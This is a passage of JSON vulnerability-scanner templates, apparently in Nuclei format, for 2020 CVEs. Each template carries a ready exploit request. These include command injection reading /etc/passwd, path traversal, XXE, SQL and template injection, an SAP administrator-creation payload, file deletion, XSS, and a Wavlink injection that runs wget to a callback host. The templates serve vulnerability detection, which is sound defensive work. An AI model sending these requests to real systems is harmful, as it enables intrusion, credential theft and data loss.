<=7.42 - Arbitrary File Read","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"type\"","\"id_user\"","\"user_name\"","\"text\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15920","info":{"name":"Mida eFramework <=2.9.0 - Remote Command Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14413","info":{"name":"NeDi 1.9C - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6171","info":{"name":"CLink Office 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"></script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13121","info":{"name":"Submitty <= 20.04.01 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/authentication/login\n\nuser_id={{username}}&password={{password}}&stay_logged_in=on&login=Login\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-8163","info":{"name":"Ruby on Rails <5.0.1 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-3187","info":{"name":"Cisco Adaptive Security Appliance Software/Cisco Firepower Threat Defense - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/+CSCOE+/session_password.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["webvpn","Webvpn"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7980","info":{"name":"Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/libagent.cgi?type=J HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\nCookie: ctr_t=0; sid=123456789\n\n{\"O_\": \"A\", \"F_\": \"EXEC_CMD\", \"S_\": 123456789, \"P1_\": {\"Q\": \"cat /etc/passwd\", \"F\": \"EXEC_CMD\"}, \"V_\": 1}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9054","info":{"name":"Zyxel NAS Firmware 5.21- Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9315","info":{"name":"Oracle iPlanet Web Server 7.0.x - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2","{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"],"matchers-condition":"and","matchers":[{"type":"word","words":["Admin Console"]},{"type":"word","words":["serverConfigurationsGeneral","serverCertificatesGeneral"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22840","info":{"name":"b2evolution CMS <6.11.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-11455","info":{"name":"LimeSurvey 4.1.11 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35847","info":{"name":"Agentejo Cockpit <0.11.2 - NoSQL Injection","severity":"critical"},"requests":[{"raw":["POST /auth/requestreset HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n  \"user\": {\n    \"$func\": \"var_dump\"\n  }\n}\n","POST /auth/requestreset HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n  \"user\": {\n    \"$func\": \"nonexistent_function\"\n  }\n}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body_1","regex":["string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\""]},{"type":"regex","part":"body_1","negative":true,"regex":["string\\([0-9]{1,3}\\)(\\s)?\"(error404)([A-Za-z0-9-.@\\s-]+)\""]},{"type":"regex","part":"body_2","negative":true,"regex":["string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\""]}]}]},{"id":"CVE-2020-17362","info":{"name":"Nova Lite < 1.3.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"body","words":["nova-lite"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13117","info":{"name":"Wavlink Multiple AP - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: http://{{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["parent.location.replace"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35951","info":{"name":"Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92\n\n\n------WebKitFormBoundaryBJ17hSJBjuGrnW92\nContent-Disposition: form-data; name=\"action\"\n\nqsm_remove_file_fd_question\n------WebKitFormBoundaryBJ17hSJBjuGrnW92\nContent-Disposition: form-data; name=\"file_url\"\n\n{{fullpath}}wp-content/plugins/quiz-master-next/README.md\n------WebKitFormBoundaryBJ17hSJBjuGrnW92--\n","GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"]},{"type":"word","part":"body","words":["{\"type\":\"success\",\"message\":\"File removed successfully\"}"]}],"extractors":[{"type":"regex","name":"fullpath","group":1,"regex":["not found in <b>([/a-z_]+)wp"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-9036","info":{"name":"Jeedom <=4.0.38 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>document.title = \"\";alert(document.domain);\" - Jeedom\"</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19360","info":{"name":"FHEM 6.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24912","info":{"name":"QCube Cross-Site-Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/assets/_core/php/profile.php","{{BaseURL}}/assets/php/profile.php","{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"],"body":"intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert('xss')</script>"]},{"type":"word","part":"header","words":["Content-Type: text/html"]}]}]},{"id":"CVE-2020-5191","info":{"name":"PHPGurukul Hospital Management System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /hospital/hms/admin/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&submit=&submit=\n","POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndoctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<td class=\"hidden-xs\"></td><script>alert(document.domain);</script><td>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5192","info":{"name":"Hospital Management System 4.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /hospital/hms/doctor/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}password={{password}}&submit=&submit=\n","POST /hospital/hms/doctor/search.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17518","info":{"name":"Apache Flink 1.5.1 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /jars/upload HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y\n\n------WebKitFormBoundaryoZ8meKnrrso89R6Y\nContent-Disposition: form-data; name=\"jarfile\"; filename=\"../../../../../../../tmp/poc\"\n\n{{randstr}}\n------WebKitFormBoundaryoZ8meKnrrso89R6Y--\n","GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2, \"{{randstr}}\") && status_code == 200"]}]}]},{"id":"CVE-2020-26413","info":{"name":"Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure","severity":"medium"},"requests":[{"raw":["POST /api/graphql HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n  \"query\": \"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }\",\n  \"variables\": null,\n  \"operationName\": null\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"avatarUrl\":","\"node\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"json","json":[".data.users.edges[].node.email"],"part":"body"}]}]},{"id":"CVE-2020-18268","info":{"name":"Z-Blog <=1.5.2 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /zb_system/cmd.php?act=verify HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 81\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nbtnPost=Log+In&username={{username}}&password={{md5(\"{{password}}\")}}&savedate=0\n","GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-5405","info":{"name":"Spring Cloud Config - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24223","info":{"name":"Mara CMS  7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19295","info":{"name":"Jeesns 1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>","JEESNS"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8641","info":{"name":"Lotus Core CMS 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9402","info":{"name":"Django SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"],"matchers":[{"type":"word","words":["DatabaseError at","ORA-29257:","ORA-06512:","Request Method:"],"condition":"and"}]}]},{"id":"CVE-2020-36289","info":{"name":"Jira Server and Data Center - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin","{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["rel=\\\"admin\\\""]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9757","info":{"name":"Craft CMS < 3.3.0 - Server-Side Template Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}","{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["MetaLinkContainer","canonical","22344"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35729","info":{"name":"Klog Server <=2.41 - Unauthenticated Command Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/actions/authenticate.php"],"body":"user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}","matchers":[{"type":"word","words":["poc-testing"]}]}]},{"id":"CVE-2020-14864","info":{"name":"Oracle Fusion - Directory Traversal/Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1","{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13158","info":{"name":"Artica Proxy Community Edition <4.30.000000 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27467","info":{"name":"Processwire CMS <2.7.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?download=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7318","info":{"name":"McAfee ePolicy Orchestrator <5.10.9 Update 9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Policy Name","'\"><svg/onload=alert(document.domain)>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6287","info":{"name":"SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition","severity":"critical"},"requests":[{"raw":["POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=UTF-8\nConnection: close\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>\n  CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==\n</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["CTCWebServiceSi","SOAP-ENV"],"condition":"and"},{"type":"word","part":"header","words":["text/xml","SAP NetWeaver Application Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24148","info":{"name":"Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=moove_read_xml"],"body":"type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-17519","info":{"name":"Apache Flink - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26876","info":{"name":"WordPress WP Courses Plugin Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/lesson/1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["rest_post_invalid_id","\"(guid|title|content|excerpt)\":{\"rendered\":"],"condition":"or"},{"type":"status","status":[200,404],"condition":"or"}]}]},{"id":"CVE-2020-25078","info":{"name":"D-Link DCS-2530L/DCS-2670L  - Administrator Password Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/config/getuser?index=0"],"matchers-condition":"and","matchers":[{"type":"word","words":["name=","pass="],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17506","info":{"name":"Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"],"host-redirects":true,"max-redirects":1,"matchers-condition":"and","matchers":[{"type":"word","words":["artica-applianc"]},{"type":"word","part":"header","words":["PHPSESSID"]},{"type":"status","status":[200,301,302],"condition":"or"}],"extractors":[{"type":"kval","kval":["PHPSESSID"]}]}]},{"id":"CVE-2020-35234","info":{"name":"SMTP WP Plugin Directory Listing","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/easy-wp-smtp/","{{BaseURL}}/wp-content/plugins/wp-mail-smtp-pro/"],"matchers":[{"type":"word","words":["debug","log","Index of"],"condition":"and"}]}]},{"id":"CVE-2020-11991","info":{"name":"Apache Cocoon 2.1.12 - XML Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/v2/api/product/manger/getInfo"],"body":"<!--?xml version=\"1.0\" ?-->\n<!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<userInfo>\n<firstName>John</firstName>\n<lastName>&ent;</lastName>\n</userInfo>\n","headers":{"Content-Type":"text/xml"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-3580","info":{"name":"Cisco ASA/FTD Software - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(/{{randstr}}/)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9376","info":{"name":"D-Link DIR-610 Devices - Information Disclosure","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/getcfg.php"],"body":"SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<name>Admin</name>","</usrid>","</password>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10973","info":{"name":"WAVLINK - Access Control","severity":"high"},"requests":[{"raw":["GET /backupsettings.dat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Salted__"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-21224","info":{"name":"Inspur ClusterEngine 4.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/login"],"body":"op=login&username=;`cat /etc/passwd`&password=\n","headers":{"Content-Type":"application/x-www-form-urlencoded","Referer":"{{Hostname}}/module/login/login.html"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8209","info":{"name":"Citrix XenMobile Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["fileDownload=true","application/octet-stream","attachment;"],"condition":"and"},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-19282","info":{"name":"Jeesns 1.4.2 - Cross-Site 